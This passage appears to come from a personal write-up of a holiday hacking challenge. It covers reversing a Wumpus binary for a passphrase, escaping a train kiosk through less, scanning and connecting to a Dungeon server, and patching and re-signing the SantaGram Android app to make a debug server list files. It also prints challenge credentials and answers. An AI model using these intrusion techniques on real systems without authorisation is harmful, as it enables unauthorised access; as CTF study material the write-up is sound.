|           0x00402684      0fb6400e       movzx eax, byte [rax + 0xe] ; [0xe:1]=0
|           0x00402688      8802           mov byte [rdx], al
|           0x0040268a      488b45f8       mov rax, qword [rbp - local_8h]
|           0x0040268e      488d5002       lea rdx, [rax + 2]          ; 0x2
|           0x00402692      488b059f2a20.  mov rax, qword [obj.m4]     ; [0x605138:8]=0x402a08 str.When_you_want_to_know_how_things_really_work__study_them_when_they_re_coming_apart LEA obj.m4 ; obj.m4
|           0x00402699      0fb64037       movzx eax, byte [rax + 0x37] ; [0x37:1]=0 ; '7'
|           0x0040269d      8802           mov byte [rdx], al
|           0x0040269f      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004026a3      488d5003       lea rdx, [rax + 3]          ; 0x3
|           0x004026a7      488b05722a20.  mov rax, qword [obj.m0]     ; [0x605120:8]=0x402970 str.The_sky_above_the_port_was_the_color_of_television__tuned_to_a_dead_channel. LEA obj.m0 ; "p)@" @ 0x605120
|           0x004026ae      0fb64012       movzx eax, byte [rax + 0x12] ; [0x12:1]=62
|           0x004026b2      8802           mov byte [rdx], al
|           0x004026b4      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004026b8      488d5004       lea rdx, [rax + 4]          ; 0x4
|           0x004026bc      488b05852a20.  mov rax, qword [obj.m6]     ; [0x605148:8]=0x402ab8 str.Stand_high_long_enough_and_your_lightning_will_come. LEA obj.m6 ; obj.m6
|           0x004026c3      0fb6401d       movzx eax, byte [rax + 0x1d] ; [0x1d:1]=0
|           0x004026c7      8802           mov byte [rdx], al
|           0x004026c9      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004026cd      488d5005       lea rdx, [rax + 5]          ; 0x5
|           0x004026d1      488b05582a20.  mov rax, qword [obj.m2]     ; [0x605130:8]=0x4029d8 str.The_street_finds_its_own_uses_for_things. LEA obj.m2 ; obj.m2
|           0x004026d8      0fb64004       movzx eax, byte [rax + 4]   ; [0x4:1]=2
|           0x004026dc      8802           mov byte [rdx], al
|           0x004026de      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004026e2      488d5006       lea rdx, [rax + 6]          ; 0x6
|           0x004026e6      488b055b2a20.  mov rax, qword [obj.m6]     ; [0x605148:8]=0x402ab8 str.Stand_high_long_enough_and_your_lightning_will_come. LEA obj.m6 ; obj.m6
|           0x004026ed      0fb64016       movzx eax, byte [rax + 0x16] ; [0x16:1]=0
|           0x004026f1      8802           mov byte [rdx], al
|           0x004026f3      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004026f7      488d5007       lea rdx, [rax + 7]          ; 0x7
|           0x004026fb      488b05262a20.  mov rax, qword [obj.m1]     ; [0x605128:8]=0x4029bd str.Pattern_Recognition. LEA obj.m1 ; obj.m1
|           0x00402702      0fb6400e       movzx eax, byte [rax + 0xe] ; [0xe:1]=0
|           0x00402706      8802           mov byte [rdx], al
|           0x00402708      488b45f8       mov rax, qword [rbp - local_8h]
|           0x0040270c      488d5008       lea rdx, [rax + 8]          ; 0x8
|           0x00402710      488b05212a20.  mov rax, qword [obj.m4]     ; [0x605138:8]=0x402a08 str.When_you_want_to_know_how_things_really_work__study_them_when_they_re_coming_apart LEA obj.m4 ; obj.m4
|           0x00402717      0fb6402e       movzx eax, byte [rax + 0x2e] ; [0x2e:1]=0 ; '.'
|           0x0040271b      8802           mov byte [rdx], al
|           0x0040271d      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402721      488d5009       lea rdx, [rax + 9]          ; 0x9
|           0x00402725      488b05142a20.  mov rax, qword [obj.m5]     ; [0x605140:8]=0x402a60 str.We_have_no_future_because_our_present_is_too_volatile._We_have_only_risk_management. LEA obj.m5 ; "`*@" @ 0x605140
|           0x0040272c      0fb64007       movzx eax, byte [rax + 7]   ; [0x7:1]=0
|           0x00402730      8802           mov byte [rdx], al
|           0x00402732      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402736      488d500a       lea rdx, [rax + 0xa]        ; 0xa
|           0x0040273a      488b05ff2920.  mov rax, qword [obj.m5]     ; [0x605140:8]=0x402a60 str.We_have_no_future_because_our_present_is_too_volatile._We_have_only_risk_management. LEA obj.m5 ; "`*@" @ 0x605140
|           0x00402741      0fb64049       movzx eax, byte [rax + 0x49] ; [0x49:1]=0 ; 'I'
|           0x00402745      8802           mov byte [rdx], al
|           0x00402747      488b45f8       mov rax, qword [rbp - local_8h]
|           0x0040274b      488d500b       lea rdx, [rax + 0xb]        ; 0xb
|           0x0040274f      488b05f22920.  mov rax, qword [obj.m6]     ; [0x605148:8]=0x402ab8 str.Stand_high_long_enough_and_your_lightning_will_come. LEA obj.m6 ; obj.m6
|           0x00402756      0fb64007       movzx eax, byte [rax + 7]   ; [0x7:1]=0
|           0x0040275a      8802           mov byte [rdx], al
|           0x0040275c      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402760      488d500c       lea rdx, [rax + 0xc]        ; 0xc
|           0x00402764      488b05c52920.  mov rax, qword [obj.m2]     ; [0x605130:8]=0x4029d8 str.The_street_finds_its_own_uses_for_things. LEA obj.m2 ; obj.m2
|           0x0040276b      0fb64004       movzx eax, byte [rax + 4]   ; [0x4:1]=2
|           0x0040276f      8802           mov byte [rdx], al
|           0x00402771      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402775      488d500d       lea rdx, [rax + 0xd]        ; 0xd
|           0x00402779      488b05b82920.  mov rax, qword [obj.m4]     ; [0x605138:8]=0x402a08 str.When_you_want_to_know_how_things_really_work__study_them_when_they_re_coming_apart LEA obj.m4 ; obj.m4
|           0x00402780      0fb64007       movzx eax, byte [rax + 7]   ; [0x7:1]=0
|           0x00402784      8802           mov byte [rdx], al
|           0x00402786      488b45f8       mov rax, qword [rbp - local_8h]
|           0x0040278a      488d500e       lea rdx, [rax + 0xe]        ; 0xe
|           0x0040278e      488b05b32920.  mov rax, qword [obj.m6]     ; [0x605148:8]=0x402ab8 str.Stand_high_long_enough_and_your_lightning_will_come. LEA obj.m6 ; obj.m6
|           0x00402795      0fb64003       movzx eax, byte [rax + 3]   ; [0x3:1]=70
|           0x00402799      8802           mov byte [rdx], al
|           0x0040279b      488b45f8       mov rax, qword [rbp - local_8h]
|           0x0040279f      488d500f       lea rdx, [rax + 0xf]        ; 0xf
|           0x004027a3      488b056e2920.  mov rax, qword [obj.m3]     ; [0x605118:8]=0x402958 str.0123456789abcdef LEA obj.m3 ; "X)@" @ 0x605118
|           0x004027aa      0fb6400d       movzx eax, byte [rax + 0xd] ; [0xd:1]=0
|           0x004027ae      8802           mov byte [rdx], al
|           0x004027b0      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004027b4      488d5010       lea rdx, [rax + 0x10]       ; 0x10
|           0x004027b8      488b05592920.  mov rax, qword [obj.m3]     ; [0x605118:8]=0x402958 str.0123456789abcdef LEA obj.m3 ; "X)@" @ 0x605118
|           0x004027bf      0fb6400e       movzx eax, byte [rax + 0xe] ; [0xe:1]=0
|           0x004027c3      8802           mov byte [rdx], al
|           0x004027c5      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004027c9      488d5011       lea rdx, [rax + 0x11]       ; 0x11
|           0x004027cd      488b055c2920.  mov rax, qword [obj.m2]     ; [0x605130:8]=0x4029d8 str.The_street_finds_its_own_uses_for_things. LEA obj.m2 ; obj.m2
|           0x004027d4      0fb64006       movzx eax, byte [rax + 6]   ; [0x6:1]=1
|           0x004027d8      8802           mov byte [rdx], al
|           0x004027da      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004027de      488d5012       lea rdx, [rax + 0x12]       ; 0x12 ; ">"
|           0x004027e2      488b055f2920.  mov rax, qword [obj.m6]     ; [0x605148:8]=0x402ab8 str.Stand_high_long_enough_and_your_lightning_will_come. LEA obj.m6 ; obj.m6
|           0x004027e9      0fb600         movzx eax, byte [rax]
|           0x004027ec      8802           mov byte [rdx], al
|           0x004027ee      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004027f2      488d5013       lea rdx, [rax + 0x13]       ; 0x13
|           0x004027f6      488b05232920.  mov rax, qword [obj.m0]     ; [0x605120:8]=0x402970 str.The_sky_above_the_port_was_the_color_of_television__tuned_to_a_dead_channel. LEA obj.m0 ; "p)@" @ 0x605120
|           0x004027fd      0fb600         movzx eax, byte [rax]
|           0x00402800      8802           mov byte [rdx], al
|           0x00402802      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402806      488d5014       lea rdx, [rax + 0x14]       ; 0x14
|           0x0040280a      488b05272920.  mov rax, qword [obj.m4]     ; [0x605138:8]=0x402a08 str.When_you_want_to_know_how_things_really_work__study_them_when_they_re_coming_apart LEA obj.m4 ; obj.m4
|           0x00402811      0fb64006       movzx eax, byte [rax + 6]   ; [0x6:1]=1
|           0x00402815      8802           mov byte [rdx], al
|           0x00402817      488b45f8       mov rax, qword [rbp - local_8h]
|           0x0040281b      488d5015       lea rdx, [rax + 0x15]       ; 0x15
|           0x0040281f      488b05fa2820.  mov rax, qword [obj.m0]     ; [0x605120:8]=0x402970 str.The_sky_above_the_port_was_the_color_of_television__tuned_to_a_dead_channel. LEA obj.m0 ; "p)@" @ 0x605120
|           0x00402826      0fb6400a       movzx eax, byte [rax + 0xa] ; [0xa:1]=0
|           0x0040282a      8802           mov byte [rdx], al
|           0x0040282c      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402830      488d5016       lea rdx, [rax + 0x16]       ; 0x16
|           0x00402834      488b050d2920.  mov rax, qword [obj.m6]     ; [0x605148:8]=0x402ab8 str.Stand_high_long_enough_and_your_lightning_will_come. LEA obj.m6 ; obj.m6
|           0x0040283b      0fb64004       movzx eax, byte [rax + 4]   ; [0x4:1]=2
|           0x0040283f      8802           mov byte [rdx], al
|           0x00402841      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402845      4889c7         mov rdi, rax
|           0x00402848      e861f6ffff     call sym.to_upper
|           0x0040284d      bf9f364000     mov edi, str._nPassphrase:  ; str._nPassphrase:
|           0x00402852      e859e2ffff     call sym.imp.puts          ; int puts(const char *s);
|           0x00402857      488b45f8       mov rax, qword [rbp - local_8h]
|           0x0040285b      4889c7         mov rdi, rax
|           0x0040285e      e84de2ffff     call sym.imp.puts          ; int puts(const char *s);
|           0x00402863      90             nop
|           0x00402864      c9             leave
\           0x00402865      c3             ret

Instead of trying to statically analyze this function, we can use gdb to directly jump to it:

$ gdb ./wumpus
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./wumpus...(no debugging symbols found)...done.
(gdb) r
Starting program: ./wumpus
Instructions? (y-n) ^Z
Program received signal SIGTSTP, Stopped (user).
0x00007ffff7b0cba0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81  ../sysdeps/unix/syscall-template.S: Aucun fichier ou dossier de ce type.
(gdb) j kill_wump
Continuing at 0x402648.
*thwock!* *groan* *crash*

A horrible roar fills the cave, and you realize, with a smile, that you
have slain the evil Wumpus and won the game!  You don't want to tarry for
long, however, because not only is the Wumpus famous, but the stench of
dead Wumpus is also quite well known, a stench plenty enough to slay the
mightiest adventurer at a single whiff!!

Passphrase:
WUMPUS IS MISUNDERSTOOD

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7ff5000 in ?? ()

If you reaaaaally want to do it by hand, here's a short explanation (statical analysis and disassembly are not my strong suits):

[...]
|           0x00402656      bf18000000     mov edi, 0x18               ; "0.@"
|           0x0040265b      e8f0e4ffff     call sym.imp.malloc        ;  void *malloc(size_t size);
|           0x00402660      488945f8       mov qword [rbp - local_8h], rax
|           0x00402664      488b05cd2a20.  mov rax, qword [obj.m4]     ; [0x605138:8]=0x402a08 str.When_you_want_to_know_how_things_really_work__study_them_when_they_re_coming_apart LEA obj.m4 ; obj.m4
|           0x0040266b      0fb65009       movzx edx, byte [rax + 9]   ; [0x9:1]=0
|           0x0040266f      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402673      8810           mov byte [rax], dl
|           0x00402675      488b45f8       mov rax, qword [rbp - local_8h]
[...]

Before the passphrase is printed, we can see that the program allocates memory for a buffer, with a call so sym.imp.malloc. The size of the buffer is 0x18 bytes, which is exactly the size of our final passphrase, plus one, for the NULL byte (wink, wink). So, our final passphrase will be constructed and put into a final buffer.

Then, we can see that several strings are used to compute our final passphrase. The first one is:

When you want to know how things really work, study them when they're coming apart

The pointer to this string is put into the rax register. The byte situated at rax + 9 is then put into the edx register. If we take our string, and get the 9th character (starting counting from 0), we get the w from want.

This character is then moved to the local_8h variable. We now have a local_8h variable, starting with w. Incidently, it's the first character of our final passphrase (see where this is going?).

We then move on to the second character, using the following string:

We have no future because our present is too volatile. We have only risk management.
[...]
|           0x00402679      488d5001       lea rdx, [rax + 1]          ; 0x1
|           0x0040267d      488b05bc2a20.  mov rax, qword [obj.m5]     ; [0x605140:8]=0x402a60 str.We_have_no_future_because_our_present_is_too_volatile._We_have_only_risk_management. LEA obj.m5 ; "`*@" @ 0x605140
|           0x00402684      0fb6400e       movzx eax, byte [rax + 0xe] ; [0xe:1]=0
|           0x00402688      8802           mov byte [rdx], al
|           0x0040268a      488b45f8       mov rax, qword [rbp - local_8h]
[...]

We see that the byte situated at rax + 0xe, which is the second u in future, is stored in edx. This character is then moved to local_8h + 1.

Our local_8h now begins with wu. We do this for the rest of the strings, and we finally get wumpus is misunderstood, before the call to the sym.to_upper function, giving us the final passphrase.

[...]
|           0x0040283b      0fb64004       movzx eax, byte [rax + 4]   ; [0x4:1]=2
|           0x0040283f      8802           mov byte [rdx], al
|           0x00402841      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402845      4889c7         mov rdi, rax
|           0x00402848      e861f6ffff     call sym.to_upper
|           0x0040284d      bf9f364000     mov edi, str._nPassphrase:  ; str._nPassphrase:
|           0x00402852      e859e2ffff     call sym.imp.puts          ; int puts(const char *s);
|           0x00402857      488b45f8       mov rax, qword [rbp - local_8h]
|           0x0040285b      4889c7         mov rdi, rax
|           0x0040285e      e84de2ffff     call sym.imp.puts          ; int puts(const char *s);
[...]

Passphrase: WUMPUS IS MISUNDERSTOOD

This passphrase gives you an access to a room called DFER, where there's no terminal.

Train station

You're given access to a kiosk menu to control the train:

Train Management Console: AUTHORIZED USERS ONLY
                ==== MAIN MENU ====
STATUS:                         Train Status
BRAKEON:                        Set Brakes
BRAKEOFF:                       Release Brakes
START:                          Start Train
HELP:                           Open the help document
QUIT:                           Exit console
menu:main>

If you want to start the train, you must release the brakes, and know the correct passphrase:

                ==== MAIN MENU ====
STATUS:                         Train Status
BRAKEON:                        Set Brakes
BRAKEOFF:                       Release Brakes
START:                          Start Train
HELP:                           Open the help document
QUIT:                           Exit console
menu:main> BRAKEOFF
*******CAUTION*******
The brake has been released!
*******CAUTION*******
off
                ==== MAIN MENU ====
STATUS:                         Train Status
BRAKEON:                        Set Brakes
BRAKEOFF:                       Release Brakes
START:                          Start Train
HELP:                           Open the help document
QUIT:                           Exit console
menu:main> START
Checking brakes....
Enter Password:

Let's see how we can find this password.

If you take a look at the HELP function, you can see that it's opening a help file. The clue in the description of the HELP function ("unLESS you know something I don't"), plus the name of the file at the bottom of the screen, is a strong indicator that the menu is using the less command to open the help file:

help_command.png

By using the :e command, we can examine another file than the one open. By using tabulation auto-complete, we can see the name of the script used to display the kiosk menu, Train_Console:

help_command_exploit.png help_command_exploit_train_console_script.png

Passphrase: 24fb3e89ce2aa0ea422c3d511d40dd84.

By starting the train, we can see that we can travel to the past, in 1978!

train_back_to_the_future.png

We then arrive in the North Pole, but in 1978:

north_pole_1978.png

We can go, in 1978, into every room that we unlocked in 2016. By doing so, we find Santa in the DFER ("Dungeon For Errant Reindeer") room:

found_santa.png

Part 4: My Gosh... It's Full of Holes

Well, we've found Santa, Christmas is saved, hurray! But the abductor is still roaming free. And since Santa is suffering from short-term memory loss because of the fight, he doesn't remember who attacked him. So, who is behind Santa's attack, and where can we find them? By taking a look at the SantaGram application, we may find some interesting informations.

We're looking for servers the SantaGram application interacts with. By looking at the resource file in the decompiled APK, we can find several URLs:

0x7f070015 (2131165205) = string.analytics_launch_url: https://analytics.northpolewonderland.com/report.php?type=launch
0x7f070016 (2131165206) = string.analytics_usage_url: https://analytics.northpolewonderland.com/report.php?type=usage
[...]
0x7f07001a (2131165210) = string.banner_ad_url: http://ads.northpolewonderland.com/affiliate/C9E380C8-2244-41E3-93A3-D6C6700156A5
[...]
0x7f07001d (2131165213) = string.debug_data_collection_url: http://dev.northpolewonderland.com/index.php
[...]
0x7f07001f (2131165215) = string.dungeon_url: http://dungeon.northpolewonderland.com/
0x7f070020 (2131165216) = string.exhandler_url: http://ex.northpolewonderland.com/exception.php

This gives us a total of five servers to target:

  • analytics.northpolewonderland.com
  • ads.northpolewonderland.com
  • dev.northpolewonderland.com
  • dungeon.northpolewonderland.com
  • ex.northpolewonderland.com

We can confirm with the Great and Powerful Oracle, Tom Hessman, that these are indeed, the servers to target:

tom_hessman.png

Alright, let the hacking begin!

The Mobile Analytics Server (via credentialed login access)

For the first part of this server, you only need to log in with the credentials found in the decompiled APK, guess/busyreindeer78. Once you're connected, you can download the wanted audio file:

first_audio_file.png

The Dungeon Game

The web server of the Dungeon game gives us instructions on how to play. A mischievous Elf is said to trade secrets for gifts. If we give him a gift, he may help us find the villain!

However, we can't seem to start a party on the web page. Similarly as last year, and since an elf in the North Pole hints to do so, I suspected there was another open port, on which we could connect to play the Dungeon game:

$ nmap dungeon.northpolewonderland.com

Starting Nmap 6.47 ( http://nmap.org ) at 2016-12-29 21:58 CET
Nmap scan report for dungeon.northpolewonderland.com (35.184.47.139)
Host is up (0.12s latency).
rDNS record for 35.184.47.139: 139.47.184.35.bc.googleusercontent.com
Not shown: 994 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
135/tcp   filtered msrpc
139/tcp   filtered netbios-ssn
445/tcp   filtered microsoft-ds
11111/tcp open     vce

Nmap done: 1 IP address (1 host up) scanned in 16.09 seconds

The last port is not a standard one, let's connect to it with nc:

$ nc dungeon.northpolewonderland.com 11111
Welcome to Dungeon.         This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.
>

As suspected, it's an interface to the Dungeon game. That's when I decided to brush up a little bit on it (instead of just posting a link to the Wikipedia article as I did in Part 1). It's a text-based RPG, inspired by Dungeons and Dragons. It's apparently strongly tied to the famous Zork.

So I started searching for *cough cough* write-through of Zork and found this one. It's not really necessary, but it gave me the idea to go up the chimney.

Anyway, here's how to get the wanted information:

Welcome to Dungeon.         This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.
>south
You are facing the south side of a white house.  There is no door here,
and all the windows are barred.
>east
You are behind the white house.  In one corner of the house
there is a window which is slightly ajar.
>open window
With great effort, you open the window far enough to allow passage.
>go in
You are in the kitchen of the white house.  A table seems to have
been used recently for the preparation of food.  A passage leads to
the west, and a dark staircase can be seen leading upward.  To the
east is a small window which is open.
On the table is an elongated brown sack, smelling of hot peppers.
A clear glass bottle is here.
The glass bottle contains:
  A quantity of water.
>west
You are in the living room.  There is a door to the east.  To the west
is a wooden door with strange gothic lettering, which appears to be
nailed shut.
In the center of the room is a large oriental rug.
There is a trophy case here.
On hooks above the mantlepiece hangs an elvish sword of great antiquity.
A battery-powered brass lantern is on the trophy case.
There is an issue of US NEWS & DUNGEON REPORT dated 11-MAR-78 here.
>take lantern
Taken.
>turn lantern on
The lamp is now on.
>move rug
With a great effort, the rug is moved to one side of the room.
With the rug moved, the dusty cover of a closed trap door appears.
>open trap door
The door reluctantly opens to reveal a rickety staircase descending
into darkness.
>go down
You are in a dark and damp cellar with a narrow passageway leading
east, and a crawlway to the south.  To the west is the bottom of a
steep metal ramp which is unclimbable.
The door crashes shut, and you hear someone barring it.
>south
You are on the west edge of a chasm, the bottom of which cannot be
seen.  The east side is sheer rock, providing no exits.  A narrow
passage goes west.  The path you are on continues to the north and south.
>south
You are in an art gallery.  Most of the paintings which were here
have been stolen by vandals with exceptional taste.  The vandals
left through the north, south, or west exits.
Fortunately, there is still one chance for you to be a vandal, for on
the far wall is a work of unparalleled beauty.
>take painting
Taken.
>south
You are in what appears to have been an artist's studio.  The walls
and floors are splattered with paints of 69 different colors.
Strangely enough, nothing of value is hanging here.  At the north and
northwest of the room are open doors (also covered with paint).  An
extremely dark and narrow chimney leads up from a fireplace.  Although
you might be able to get up the chimney, it seems unlikely that you
could get back down.
>go up
You have mysteriously reached the North Pole.
In the distance you detect the busy sounds of Santa's elves in full
production.

You are in a warm room, lit by both the fireplace but also the glow of
centuries old trophies.
On the wall is a sign:
        Songs of the seasons are in many parts
        To solve a puzzle is in our hearts
        Ask not what what the answer be,
        Without a trinket to satisfy me.
The elf is facing you keeping his back warmed by the fire.
>give painting to elf
The elf, satisified with the trade says -
send email to "peppermint@northpolewonderland.com" for that which you seek.
The elf says - you have conquered this challenge - the game will now end.
Your score is 89 [total of 585 points], in 16 moves.
This gives you the rank of Novice Adventurer.

We're given instructions to send a mail to peppermint@northpolewonderland.com to receive the information we seek. After sending an email, we get an answer:

dungeon_audio_file.png

We now have our third weird audio file.

The Debug Server

If we look at the decompiled source code of the SantaGram application, we can see that the debug server is called when a user modifies their own profile:

// File com/northpolewonderland/santagram/EditProfile.java
if (getString(R.string.debug_data_enabled).equals("true")) {
    Log.i(getString(R.string.TAG), "Remote debug logging is Enabled");
    z = true;
} else {
    Log.i(getString(R.string.TAG), "Remote debug logging is Disabled");
    z = false;
}
[...]
if (z) {
    try {
        final JSONObject jSONObject = new JSONObject();
        jSONObject.put("date", new SimpleDateFormat("yyyyMMddHHmmssZ").format(Calendar.getInstance().getTime()));
        jSONObject.put("udid", Secure.getString(getContentResolver(), "android_id"));
        jSONObject.put("debug", getClass().getCanonicalName() + ", " + getClass().getSimpleName());
        jSONObject.put("freemem", Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory());
        new Thread(new Runnable(this) {
            final /* synthetic */ EditProfile b;

            public void run() {
                b.a(this.b.getString(R.string.debug_data_collection_url), jSONObject);
            }
        }).start();
    } catch (Exception e) {
        Log.e(getString(R.string.TAG), "Error posting JSON debug data: " + e.getMessage());
    }
}

However, to do so, debug mode must be enabled in the application. To check this, the application compares the string debug_data_enabled in the application resource's to true. Let's take a look at the resources:

<!-- File res/values/strings.xml -->
<string name="debug_data_enabled">false</string>

Debug data are disabled. So we need to modify the resource file of the application in order to enable it. Luckily, this is something we often have to do in my day job: more and more of our clients are implementing TLS certificate pinning in their mobile applications, which prevents us from intercepting the tested application's communication with Burp. This means that we have to decompile the application, patch the certificate pinning code, recompile, then reinstall the application. This is kind of what we have to do here, except instead of patching the certificate pinning code, we just have to modify the resource file to enable debug data.

I'm basically going to use this excellent tutorial to patch the application and rebuild it without any problem.

# First, we're disassembling the application
$ apktool d ./SantaGram_4.2.apk -o SantaGram_4.2_disassembled
I: Using Apktool 2.2.1 on SantaGram_4.2.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: ~/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
# Now, we modify our resource file
$ sed -i 's/<string name="debug_data_enabled">false/<string name="debug_data_enabled">true/g' SantaGram_4.2_disassembled/res/values/strings.xml
$ grep 'debug_data_enabled' SantaGram_4.2_disassembled/res/values/strings.xml
    <string name="debug_data_enabled">true</string>
# Now, we're rebuilding our application
$ apktool b ./SantaGram_4.2_disassembled -o SantaGram_4.2_debug.apk
I: Using Apktool 2.2.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
# In order to be able to install our new APK, we must sign it, check the above
# tutorial for instructions
$ keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
[...]
$ jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore SantaGram_4.2_debug.apk alias_name
Enter Passphrase for keystore:
jar signed.

Warning:
No -tsa or -tsacert is provided and this jar is not timestamped. Without a timestamp, users may not be able to validate this jar after the signer certificate's expiration date (2044-05-14) or after any future revocation date.

We now have a SantaGram_4.2_debug.apk file, that we can install on our phone. This application has debugging enabled, which means that we'll see communication with the debug server.

<reminder>

Even though communications with the debug server is done in plain text, the application communicates with the https://www.northpolewonderland.com/ application. Since it's TLS-encrypted, and the application checks the validity of the certificate, you must import your intercepting proxy's CA certificate in your telephone. Just a reminder that Android phones can only import PEM, and that by default Burp exports its CA certificate in DER. You can use the following OpenSSL command to convert it:

$ openssl x509 -inform der -in ./burpca.der -out burpca.pem

</reminder>

We can now launch the application, log in with our credentials guest/busyreindeer78, and edit our profile:

dev_edit_profile.png

Our patch worked, because we can see some request to the debug server:

POST /index.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: dev.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 144

{"date":"20161227010602+0100","udid":"58bc60a3ff0f2f1a","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":26914200}
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 27 Dec 2016 00:06:03 GMT
Content-Type: application/json
Connection: close
Content-Length: 250

{"date":"20161227000603","status":"OK","filename":"debug-20161227000603-0.txt","request":{"date":"20161227010602+0100","udid":"58bc60a3ff0f2f1a","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":26914200,"verbose":false}}

We can see in the server's reponse that there's a verbose parameter set to false. What if we set "verbose":true in our request (me loves some verbosity)?

POST /index.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: dev.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 159

{"date":"20161227001619+0100","udid":"58bc60a3ff0f2f1a","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":48663448,"verbose":true}
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 27 Dec 2016 00:09:10 GMT
Content-Type: application/json
Connection: close
Content-Length: 755

{"date":"20161227000910","date.len":14,"status":"OK","status.len":"2","filename":"debug-20161227000910-0.txt","filename.len":26,"request":{"date":"20161227001619+0100","udid":"58bc60a3ff0f2f1a","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":48663448,"verbose":true},"files":["debug-20161224235959-0.mp3","debug-20161226231736-0.txt","debug-20161226232005-0.txt","debug-20161226232057-0.txt","debug-20161226232243-0.txt","debug-20161226232507-0.txt","debug-20161226232516-0.txt","debug-20161226233655-0.txt","debug-20161226234235-0.txt","debug-20161226234246-0.txt","debug-20161226234259-0.txt","debug-20161226234313-0.txt","debug-20161227000501-0.txt","debug-20161227000603-0.txt","debug-20161227000910-0.txt","index.php"]}

Yes! Many more informations were sent back, including the name of our audio file, debug-20161224235959-0.mp3.

We can now download our audio file at this URL: http://dev.northpolewonderland.com/debug-20161224235959-0.mp3

dev_audio_file.png

The Banner Ad Server

The SantaGram bug bounty program is apparently running an ad server, so as to display ad in the Android application. If we go to this ad web server, we can see that it's running the Meteor Javascript framework:

<!DOCTYPE html>
<html>
<head>
  <link rel="stylesheet" type="text/css" class="__meteor-css__" href="/d1281f37fbafb6db67a052e58c901679c5cabcc2.css?meteor_css_resource=true">
<meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags--><meta name="description" content="Holiday Hack"><title>Ad Nauseam - Stupid Ads for Stupid People</title>

</head>
<body>

<script type="text/javascript">__meteor_runtime_config__ = JSON.parse(decodeURIComponent("%7B%22meteorRelease%22%3A%22METEOR%401.4.2.3%22%2C%22meteorEnv%22%3A%7B%22NODE_ENV%22%3A%22production%22%2C%22TEST_METADATA%22%3A%22%7B%7D%22%7D%2C%22PUBLIC_SETTINGS%22%3A%7B%7D%2C%22ROOT_URL%22%3A%22http%3A%2F%2Fads.northpolewonderland.com%22%2C%22ROOT_URL_PATH_PREFIX%22%3A%22%22%2C%22appId%22%3A%221vgh1e61x7h692h4hyt1%22%2C%22autoupdateVersion%22%3A%22537dcf6b4594db16ea2d99d0a920f2deeb7dc9f1%22%2C%22autoupdateVersionRefreshable%22%3A%2205c3f7dba9f3e15efa3d971acf18cab901dc0505%22%2C%22autoupdateVersionCordova%22%3A%22none%22%7D"));</script>

  <script type="text/javascript" src="/fedc8e9f69dab9d81a4f227d6ec76567fcb56231.js?meteor_js_resource=true"></script>

</body>
</html>

What a crazy random happenstance, it just so happens that an article about pentesting Meteor-based web applications was recently published on the SANS blog.

So, let's spin Tampermonkey, with the Meteor Miner script, to see what kind of informations we can extract from the applications. On this screenshot, we can see that we have access to the quotes printed on the front page:

ads_meteor_miner_front.png

We can also see that there's an /admin/quotes page:

ads_meteor_miner_admin_route.png

If we go to it, even if we're supposed to be logged in, we can see that there's one quote more than on the front page:

